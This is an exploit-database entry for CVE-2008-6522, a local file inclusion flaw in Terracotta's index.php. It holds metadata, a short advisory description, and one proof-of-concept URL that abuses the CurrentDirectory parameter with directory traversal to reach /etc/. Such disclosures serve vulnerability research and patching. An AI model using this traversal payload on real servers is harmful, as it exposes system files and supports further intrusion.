Terracotta - 'index.php' Local File Inclusion

Author: Joseph Giron
type: webapps
platform: php
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date_added: 2008-04-01  
date_updated: 2014-02-12  
verified: 1  
codes: CVE-2008-6522;OSVDB-53214  
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raw file: 31584.txt  

source: https://www.securityfocus.com/bid/28550/info

Terracotta is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files in the context of the webserver process. This may aid in further attacks.

http://www.example.com/index.php?CurrentDirectory=FOLDER_420c142a1bebd1.90885049/../../../../../../../../../etc/&StartAt=12